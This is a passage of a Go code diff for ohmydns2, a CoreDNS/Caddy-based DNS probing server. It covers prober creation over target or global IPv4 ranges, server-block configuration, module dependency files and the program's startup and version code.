ctx = context.WithValue(ctx, prober.Pchain, ps.conf)
// 创建并开始执行任务返回探测器id
proberid := ps.proberlist.AddProber(ctx, targets)
// 都不匹配,尝试利用“.”指向的服务块
//if z, ok := ps.zones["."]; ok {
//
// for _, h := range z {
// if h.pluginChain == nil {
// continue
// }
//
// if h.metaCollector != nil {
// // Collect metadata now, so it can be used before we send a request down the plugin chain.
// ctx = h.metaCollector.Collect(ctx, request.HTTPRequest{Req: req, W: w})
// }
//
// // If all filter funcs pass, use this config.
// if passAllFilterFuncs(ctx, h.FilterFuncs, &request.HTTPRequest{Req: req, W: w}) {
// if h.ViewName != "" {
// // if there was a view defined for this Config, set the view name in the context
// ctx = context.WithValue(ctx, ViewKey{}, h.ViewName)
// }
// rcode, _ := h.pluginChain.ProbeDNS(ctx, c, msg)
// if !plugin.ClientWrite(rcode) {
// errorAndMetricsFunc(ps.Addr, w, " . --"+h.pluginChain.Name()+"错误", rcode)
// }
// return
// }
// }
//}
return nil, "成功创建探测器:" + proberid
}
// passAllFilterFuncs returns true if all filter funcs evaluate to true for the given request
func passAllFilterFuncs(ctx context.Context, filterFuncs []prober.FilterFunc, req *request.HTTPRequest) bool {
for _, ff := range filterFuncs {
if !ff(ctx, req) {
return false
}
}
return true
}
// OnStartupComplete lists the sites served by this server
// and any relevant information, assuming Quiet is false.
func (ps *ProbeServer) OnStartupComplete() {
if Quiet {
return
}
out := startUpZones(transport.PROBER+"://", ps.Addr)
if out != "" {
fmt.Print(out)
}
}
// Tracer returns the tracer in the server if defined.
func (ps *ProbeServer) Tracer() ot.Tracer {
if ps.trace == nil {
return nil
}
return ps.trace.Tracer()
}
// errorAndMetricsFunc 通过HTTP返回错误信息并记录到Metrics中
func errorAndMetricsFunc(server string, w http.ResponseWriter, rs string, rc int) {
defer vars.HTTPResponsesCount.WithLabelValues(server, http.StatusText(rc)).Inc()
w.WriteHeader(rc)
r := &response{Code: http.StatusInternalServerError, Msg: rs}
msg, _ := json.Marshal(r)
w.Write(msg)
return
}
// 输入目标地址数据集返回IP管道和目标地址数量
func getTarget(s []string) (chan net.IP, int) {
if s[0] == globalRange {
// 全球探测
return prober.GenGlobIPv4(), 0
}
// 局部探测
ipchan := make(chan net.IP, 100)
go func() {
defer close(ipchan)
for _, v := range s {
ipchan <- net.ParseIP(v)
}
}()
return ipchan, len(s)
}
type (
// Key is the context key for the current server added to the context.
Key struct{}
// LoopKey is the context key to detect server wide loops.
LoopKey struct{}
// ViewKey is the context key for the current view, if defined
ViewKey struct{}
)
// EnableChaos is a map with plugin names for which we should open CH class queries as we block these by default.
var EnableChaos = map[string]struct{}{
"chaos": {},
"forward": {},
"proxy": {},
}
// Quiet mode will not show any informative output on initialization.
var Quiet bool

View File

@@ -0,0 +1,209 @@
package prober
import (
"github.com/coredns/caddy"
"github.com/coredns/caddy/caddyfile"
"net"
"ohmydns2/core/dnsserver"
"ohmydns2/plugin"
"ohmydns2/plugin/pkg/parse"
"ohmydns2/plugin/pkg/prober"
"ohmydns2/plugin/pkg/transport"
)
const proberType = "dnsprober"
func init() {
caddy.RegisterServerType(proberType, caddy.ServerType{
Directives: func() []string { return Directives },
DefaultInput: func() caddy.Input {
return caddy.CaddyfileInput{
Filepath: "Ohmyfile",
Contents: []byte("probe://:" + Port + " {\nprober_show\nlog\n}\n"),
ServerTypeName: proberType,
}
},
NewContext: newPBContext,
})
}
func newPBContext(*caddy.Instance) caddy.Context {
return &ProbeContext{keysToConfigs: make(map[string]*prober.PBConfig)}
}
type ProbeContext struct {
keysToConfigs map[string]*prober.PBConfig
// configs is the master list of all site configs.
configs []*prober.PBConfig
}
func (p *ProbeContext) saveConfig(key string, cfg *prober.PBConfig) {
p.configs = append(p.configs, cfg)
p.keysToConfigs[key] = cfg
}
// Compile-time check to ensure dnsContext implements the caddy.Context interface
var _ caddy.Context = &ProbeContext{}
// InspectServerBlocks make sure that everything checks out before
// executing directives and otherwise prepares the directives to
// be parsed and executed.
func (p *ProbeContext) InspectServerBlocks(_ string, serverBlocks []caddyfile.ServerBlock) ([]caddyfile.ServerBlock, error) {
// Normalize and check all the zone names and check for duplicates
for ib, s := range serverBlocks {
Addrs := []addr{}
// 每一个服务块的zone部分
for ik, k := range s.Keys {
trans, k1 := parse.Transport(k) // get rid of any dns:// or other scheme.
// 不属于探测端的服务块不解析
if trans != transport.PROBER {
continue
}
port, err := plugin.SplitPort(k1)
if err != nil {
return nil, err
}
s.Keys[ik] = port
Addrs = append(Addrs, addr{Port: port, Transport: transport.PROBERTRAN})
}
serverBlocks[ib].Keys = s.Keys // important to save back the new keys that are potentially created here.
var firstConfigInBlock *prober.PBConfig
for ik := range s.Keys {
a := Addrs[ik]
s.Keys[ik] = a.String()
// Save the config to our master list, and key it for lookups.
cfg := &prober.PBConfig{
ListenHosts: []string{""},
Port: a.Port,
Transport: a.Transport,
}
// Set reference to the first config in the current block.
// This is used later by MakeServers to share a single plugin list
// for all zones in a server block.
if ik == 0 {
firstConfigInBlock = cfg
}
cfg.FirstConfigInBlock = firstConfigInBlock
keyConfig := prober.KeyForConfig(ib, ik)
p.saveConfig(keyConfig, cfg)
}
}
return serverBlocks, nil
}
// MakeServers uses the newly-created siteConfigs to create and return a list of server instances.
func (p *ProbeContext) MakeServers() ([]caddy.Server, error) {
// Copy the Plugin, ListenHosts and Debug from first config in the block
// to all other config in the same block . Doing this results in zones
// sharing the same plugin instances and settings as other zones in
// the same block.
for _, c := range p.configs {
c.Plugin = c.FirstConfigInBlock.Plugin
c.ListenHosts = c.FirstConfigInBlock.ListenHosts
c.Debug = c.FirstConfigInBlock.Debug
c.Stacktrace = c.FirstConfigInBlock.Stacktrace
// Fork TLSConfig for each encrypted connection
c.TLSConfig = c.FirstConfigInBlock.TLSConfig.Clone()
c.ReadTimeout = c.FirstConfigInBlock.ReadTimeout
c.WriteTimeout = c.FirstConfigInBlock.WriteTimeout
c.IdleTimeout = c.FirstConfigInBlock.IdleTimeout
c.TsigSecret = c.FirstConfigInBlock.TsigSecret
}
// we must map (group) each config to a bind address
groups, err := groupConfigsByListenPort(p.configs)
if err != nil {
return nil, err
}
// then we create a server for each group
var servers []caddy.Server
for protaddr, group := range groups {
// switch on addr
switch tr, _ := parse.Transport(transport.PROBER + protaddr[len(transport.PROBERTRAN):]); tr {
case transport.PROBER:
s, e := NewProberHTTP(protaddr, group)
if e != nil {
return nil, err
}
servers = append(servers, s)
}
}
//// For each server config, check for View Filter plugins
//for _, c := range p.configs {
// // Add filters in the plugin.cfg order for consistent filter func evaluation order.
// for _, d := range Directives {
// if vf, ok := c.registry[d].(Viewer); ok {
// if c.ViewName != "" {
// return nil, fmt.Errorf("multiple views defined in server block")
// }
// c.ViewName = vf.ViewName()
// c.FilterFuncs = append(c.FilterFuncs, vf.Filter)
// }
// }
//}
// Verify that there is no overlap on the zones and listen addresses
// for unfiltered server configs
//errValid := p.validateZonesAndListeningAddresses()
//if errValid != nil {
// return nil, errValid
//}
return servers, nil
}
// GetConfig gets the Config that corresponds to c.
// If none exist nil is returned.
func GetPBConfig(c *caddy.Controller) *prober.PBConfig {
ctx := c.Context().(*ProbeContext)
key := prober.KeyForConfig(c.ServerBlockIndex, c.ServerBlockKeyIndex)
if cfg, ok := ctx.keysToConfigs[key]; ok {
return cfg
}
// we should only get here during tests because directive
// actions typically skip the server blocks where we make
// the configs.
ctx.saveConfig(key, &prober.PBConfig{ListenHosts: []string{""}})
return GetPBConfig(c)
}
// groupConfigsByListenPort 建立监听端口和配置文件之间的映射,与服务端不同的是,一个监听地址端口只对应一个配置文件
func groupConfigsByListenPort(configs []*prober.PBConfig) (map[string]*prober.PBConfig, error) {
groups := make(map[string]*prober.PBConfig)
for _, conf := range configs {
for _, h := range conf.ListenHosts {
tcpaddr, err := net.ResolveTCPAddr("tcp", net.JoinHostPort(h, conf.Port))
if err != nil {
return nil, err
}
addrstr := conf.Transport + "://" + tcpaddr.String()
groups[addrstr] = conf
}
}
return groups, nil
}
// DefaultPort is the default port.
const DefaultPort = transport.PROBERPort
// These "soft defaults" are configurable by
// command line flags, etc.
var (
// Port is the port we listen on by default.
Port = DefaultPort
// GracefulTimeout is the maximum duration of a graceful shutdown.
//GracefulTimeout time.Duration
)
var _ caddy.GracefulServer = new(dnsserver.Server)

View File

@@ -0,0 +1,36 @@
module ohmydns2
go 1.20
require (
github.com/apparentlymart/go-cidr v1.1.0
github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2
github.com/coredns/caddy v1.1.1
github.com/dnstap/golang-dnstap v0.4.0
github.com/farsightsec/golang-framestream v0.3.0
github.com/miekg/dns v1.1.54
github.com/opentracing/opentracing-go v1.2.0
github.com/panjf2000/ants/v2 v2.8.1
github.com/pochard/commons v1.1.2
github.com/prometheus/client_golang v1.15.1
github.com/thanhpk/randstr v1.0.6
golang.org/x/sys v0.10.0
google.golang.org/grpc v1.55.0
google.golang.org/protobuf v1.30.0
)
require (
github.com/beorn7/perks v1.0.1 // indirect
github.com/cespare/xxhash/v2 v2.2.0 // indirect
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568 // indirect
github.com/golang/protobuf v1.5.3 // indirect
github.com/matttproud/golang_protobuf_extensions v1.0.4 // indirect
github.com/prometheus/client_model v0.3.0 // indirect
github.com/prometheus/common v0.42.0 // indirect
github.com/prometheus/procfs v0.9.0 // indirect
golang.org/x/mod v0.12.0 // indirect
golang.org/x/net v0.12.0 // indirect
golang.org/x/text v0.11.0 // indirect
golang.org/x/tools v0.11.0 // indirect
google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4 // indirect
)

View File

@@ -0,0 +1,111 @@
github.com/apparentlymart/go-cidr v1.1.0 h1:2mAhrMoF+nhXqxTzSZMUzDHkLjmIHC+Zzn4tdgBZjnU=
github.com/apparentlymart/go-cidr v1.1.0/go.mod h1:EBcsNrHc3zQeuaeCeCtQruQm+n9/YjEn/vI25Lg7Gwc=
github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 h1:DklsrG3dyBCFEj5IhUbnKptjxatkF07cF2ak3yi77so=
github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2/go.mod h1:WaHUgvxTVq04UNunO+XhnAqY/wQc+bxr74GqbsZ/Jqw=
github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
github.com/cespare/xxhash/v2 v2.2.0 h1:DC2CZ1Ep5Y4k3ZQ899DldepgrayRUGE6BBZ/cd9Cj44=
github.com/cespare/xxhash/v2 v2.2.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
github.com/coredns/caddy v1.1.1 h1:2eYKZT7i6yxIfGP3qLJoJ7HAsDJqYB+X68g4NYjSrE0=
github.com/coredns/caddy v1.1.1/go.mod h1:A6ntJQlAWuQfFlsd9hvigKbo2WS0VUs2l1e2F+BawD4=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/dnstap/golang-dnstap v0.4.0 h1:KRHBoURygdGtBjDI2w4HifJfMAhhOqDuktAokaSa234=
github.com/dnstap/golang-dnstap v0.4.0/go.mod h1:FqsSdH58NAmkAvKcpyxht7i4FoBjKu8E4JUPt8ipSUs=
github.com/farsightsec/golang-framestream v0.3.0 h1:/spFQHucTle/ZIPkYqrfshQqPe2VQEzesH243TjIwqA=
github.com/farsightsec/golang-framestream v0.3.0/go.mod h1:eNde4IQyEiA5br02AouhEHCu3p3UzrCdFR4LuQHklMI=
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568 h1:BHsljHzVlRcyQhjrss6TZTdY2VfCqZPbv5k3iBFa2ZQ=
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc=
github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
github.com/golang/protobuf v1.3.5/go.mod h1:6O5/vntMXwX2lRkT1hjjk0nAC1IDOTvTlVgjlRvqsdk=
github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8=
github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA=
github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs=
github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w=
github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0=
github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=
github.com/golang/protobuf v1.5.3 h1:KhyjKVUg7Usr/dYsdSqoFveMYd5ko72D+zANwlG1mmg=
github.com/golang/protobuf v1.5.3/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY=
github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38=
github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/matttproud/golang_protobuf_extensions v1.0.4 h1:mmDVorXM7PCGKw94cs5zkfA9PSy5pEvNWRP0ET0TIVo=
github.com/matttproud/golang_protobuf_extensions v1.0.4/go.mod h1:BSXmuO+STAnVfrANrmjBb36TMTDstsz7MSK+HVaYKv4=
github.com/miekg/dns v1.1.31/go.mod h1:KNUDUusw/aVsxyTYZM1oqvCicbwhgbNgztCETuNZ7xM=
github.com/miekg/dns v1.1.54 h1:5jon9mWcb0sFJGpnI99tOMhCPyJ+RPVz5b63MQG0VWI=
github.com/miekg/dns v1.1.54/go.mod h1:uInx36IzPl7FYnDcMeVWxj9byh7DutNykX4G9Sj60FY=
github.com/opentracing/opentracing-go v1.2.0 h1:uEJPy/1a5RIPAJ0Ov+OIO8OxWu77jEv+1B0VhjKrZUs=
github.com/opentracing/opentracing-go v1.2.0/go.mod h1:GxEUsuufX4nBwe+T+Wl9TAgYrxe9dPLANfrWvHYVTgc=
github.com/panjf2000/ants/v2 v2.8.1 h1:C+n/f++aiW8kHCExKlpX6X+okmxKXP7DWLutxuAPuwQ=
github.com/panjf2000/ants/v2 v2.8.1/go.mod h1:KIBmYG9QQX5U2qzFP/yQJaq/nSb6rahS9iEHkrCMgM8=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/pochard/commons v1.1.2 h1:65SlPrtLqJgCboQitD72Wrdw7xsGJ2wD6HS1hUpk6pc=
github.com/pochard/commons v1.1.2/go.mod h1:HzXF3rNqu78SkHDx4IY+jp/SqSnkwT/OHjSrlqoitgI=
github.com/prometheus/client_golang v1.15.1 h1:8tXpTmJbyH5lydzFPoxSIJ0J46jdh3tylbvM1xCv0LI=
github.com/prometheus/client_golang v1.15.1/go.mod h1:e9yaBhRPU2pPNsZwE+JdQl0KEt1N9XgF6zxWmaC0xOk=
github.com/prometheus/client_model v0.3.0 h1:UBgGFHqYdG/TPFD1B1ogZywDqEkwp3fBMvqdiQ7Xew4=
github.com/prometheus/client_model v0.3.0/go.mod h1:LDGWKZIo7rky3hgvBe+caln+Dr3dPggB5dvjtD7w9+w=
github.com/prometheus/common v0.42.0 h1:EKsfXEYo4JpWMHH5cg+KOUWeuJSov1Id8zGR8eeI1YM=
github.com/prometheus/common v0.42.0/go.mod h1:xBwqVerjNdUDjgODMpudtOMwlOwf2SaTr1yjz4b7Zbc=
github.com/prometheus/procfs v0.9.0 h1:wzCHvIvM5SxWqYvwgVL7yJY8Lz3PKn49KQtpgMYJfhI=
github.com/prometheus/procfs v0.9.0/go.mod h1:+pB4zwohETzFnmlpe6yd2lSc+0/46IYZRB/chUwxUZY=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
github.com/stretchr/testify v1.8.1 h1:w7B6lhMri9wdJUVmEZPGGhZzrYTPvgJArz7wNPgYKsk=
github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
github.com/thanhpk/randstr v1.0.6 h1:psAOktJFD4vV9NEVb3qkhRSMvYh4ORRaj1+w/hn4B+o=
github.com/thanhpk/randstr v1.0.6/go.mod h1:M/H2P1eNLZzlDwAzpkkkUvoyNNMbzRGhESZuEQk3r0U=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
golang.org/x/mod v0.12.0 h1:rmsUpXtvNzj340zd98LZ4KntptpfRHwpFOHG188oHXc=
golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20190923162816-aa69164e4478/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.12.0 h1:cfawfvKITfUsFCeJIHJrbSxpeu/E81khclypR0GVT50=
golang.org/x/net v0.12.0/go.mod h1:zEVYFnQC7m/vmpQFELhcD1EWkZlX69l4oqgmer6hfKA=
golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.3.0 h1:ftCYgMx6zT/asHUrPw8BLLscYtGznsLAnjq5RH9P66E=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190924154521-2837fb4f24fe/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.10.0 h1:SqMFp9UcQJZa+pmYuAKjd9xq1f0j5rLcDIk0mj4qAsA=
golang.org/x/sys v0.10.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.11.0 h1:LAntKIrcmeSKERyiOh0XMV39LXS8IE9UL2yP7+f5ij4=
golang.org/x/text v0.11.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE=
golang.org/x/tools v0.0.0-20191216052735-49a3e744a425/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.11.0 h1:EMCa6U9S2LtZXLAMoWiR/R8dAQFRqbAitmbJ2UKhoi8=
golang.org/x/tools v0.11.0/go.mod h1:anzJrxPjNtfgiYQYirP2CPGzGLxrH2u2QBhn6Bf3qY8=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4 h1:DdoeryqhaXp1LtT/emMP1BRJPHHKFi5akj/nbx/zNTA=
google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4/go.mod h1:NWraEVixdDnqcqQ30jipen1STv2r/n24Wb7twVTGR4s=
google.golang.org/grpc v1.55.0 h1:3Oj82/tFSCeUrRTg/5E/7d/W5A1tj6Ky1ABAuZuv5ag=
google.golang.org/grpc v1.55.0/go.mod h1:iYEXKGkEBhg1PjZQvoYEVPTDkHo1/bjTnfwTeGONTY8=
google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=
google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=
google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=
google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE=
google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo=
google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
google.golang.org/protobuf v1.30.0 h1:kPPoIgf3TsEvrm0PFe15JQ+570QVxYzEvvHqChK+cng=
google.golang.org/protobuf v1.30.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=

View File

@@ -0,0 +1,187 @@
package ohmain
import (
"flag"
"fmt"
"log"
"ohmydns2/core/dnsserver"
"os"
"path/filepath"
"runtime"
"strings"
"github.com/coredns/caddy"
)
func init() {
caddy.DefaultConfigFile = "Ohmyfile"
caddy.Quiet = true // don't show init stuff from caddy
setVersion()
flag.StringVar(&conf, "conf", "", "Ohmyfile to load (default \""+caddy.DefaultConfigFile+"\")")
flag.BoolVar(&plugins, "plugins", false, "List installed plugins")
flag.StringVar(&caddy.PidFile, "pidfile", "", "Path to write pid file")
flag.BoolVar(&version, "version", false, "Show version")
flag.BoolVar(&dnsserver.Quiet, "quiet", false, "Quiet mode (no initialization output)")
caddy.RegisterCaddyfileLoader("flag", caddy.LoaderFunc(confLoader))
caddy.SetDefaultCaddyfileLoader("default", caddy.LoaderFunc(defaultLoader))
//flag.StringVar(&prober.Port, serverType+".port", prober.DefaultPort, "Default port")
//flag.StringVar(&prober.Port, "p", prober.DefaultPort, "Default port")
caddy.AppName = ohmyName
caddy.AppVersion = OMVersion
}
// ohmydns主函数
func Run() {
caddy.TrapSignals()
flag.Parse()
if len(flag.Args()) > 0 {
mustLogFatal(fmt.Errorf("extra command line arguments: %s", flag.Args()))
}
log.SetOutput(os.Stdout)
log.SetFlags(0) // Set to 0 because we're doing our own time, with timezone
if version {
showVersion()
os.Exit(0)
}
if plugins {
fmt.Println(caddy.DescribePlugins())
os.Exit(0)
}
// Get Ohmyfile input
ohmyfile, err := caddy.LoadCaddyfile(serverType)
if err != nil {
mustLogFatal(err)
}
// Start your engines
instance, err := caddy.Start(ohmyfile)
if err != nil {
mustLogFatal(err)
}
if !dnsserver.Quiet {
showVersion()
}
// Twiddle your thumbs
instance.Wait()
}
// mustLogFatal wraps log.Fatal() in a way that ensures the
// output is always printed to stderr so the user can see it
// if the user is still there, even if the process log was not
// enabled. If this process is an upgrade, however, and the user
// might not be there anymore, this just logs to the process
// log and exits.
func mustLogFatal(args ...interface{}) {
if !caddy.IsUpgrade() {
log.SetOutput(os.Stderr)
}
log.Fatal(args...)
}
// confLoader loads the Caddyfile using the -conf flag.
func confLoader(serverType string) (caddy.Input, error) {
if conf == "" {
return nil, nil
}
if conf == "stdin" {
return caddy.CaddyfileFromPipe(os.Stdin, serverType)
}
contents, err := os.ReadFile(filepath.Clean(conf))
if err != nil {
return nil, err
}
return caddy.CaddyfileInput{
Contents: contents,
Filepath: conf,
ServerTypeName: serverType,
}, nil
}
// defaultLoader loads the Corefile from the current working directory.
func defaultLoader(serverType string) (caddy.Input, error) {
contents, err := os.ReadFile(caddy.DefaultConfigFile)
if err != nil {
if os.IsNotExist(err) {
return nil, nil
}
return nil, err
}
return caddy.CaddyfileInput{
Contents: contents,
Filepath: caddy.DefaultConfigFile,
ServerTypeName: serverType,
}, nil
}
// showVersion prints the version that is starting.
func showVersion() {
fmt.Print(versionString())
fmt.Print(releaseString())
if devBuild && gitShortStat != "" {
fmt.Printf("%s\n%s\n", gitShortStat, gitFilesModified)
}
}
// versionString returns the CoreDNS version as a string.
func versionString() string {
return fmt.Sprintf("%s-%s\n", caddy.AppName, caddy.AppVersion)
}
// releaseString returns the release information related to CoreDNS version:
// <OS>/<ARCH>, <go version>, <commit>
// e.g.,
// linux/amd64, go1.8.3, a6d2d7b5
func releaseString() string {
return fmt.Sprintf("%s/%s, %s\n", runtime.GOOS, runtime.GOARCH, runtime.Version())
}
// setVersion figures out the version information
// based on variables set by -ldflags.
func setVersion() {
// A development build is one that's not at a tag or has uncommitted changes
devBuild = gitTag == "" || gitShortStat != ""
// Only set the appVersion if -ldflags was used
if gitNearestTag != "" || gitTag != "" {
if devBuild && gitNearestTag != "" {
appVersion = fmt.Sprintf("%s (+%s %s)", strings.TrimPrefix(gitNearestTag, "v"), GitCommit, buildDate)
} else if gitTag != "" {
appVersion = strings.TrimPrefix(gitTag, "v")
}
}
}
// Flags that control program flow or startup
var (
conf string
version bool
plugins bool
)
// Build information obtained with the help of -ldflags
var (
// nolint
appVersion = "(untracked dev build)" // inferred at startup
devBuild = true // inferred at startup
buildDate string // date -u
gitTag string // git describe --exact-match HEAD 2> /dev/null
gitNearestTag string // git describe --abbrev=0 --tags HEAD
gitShortStat string // git diff-index --shortstat
gitFilesModified string // git diff-index --name-only HEAD
// Gitcommit contains the commit where we built CoreDNS from.
GitCommit string
)

View File

@@ -0,0 +1,7 @@
package ohmain
const (
OMVersion = "2.0.0"
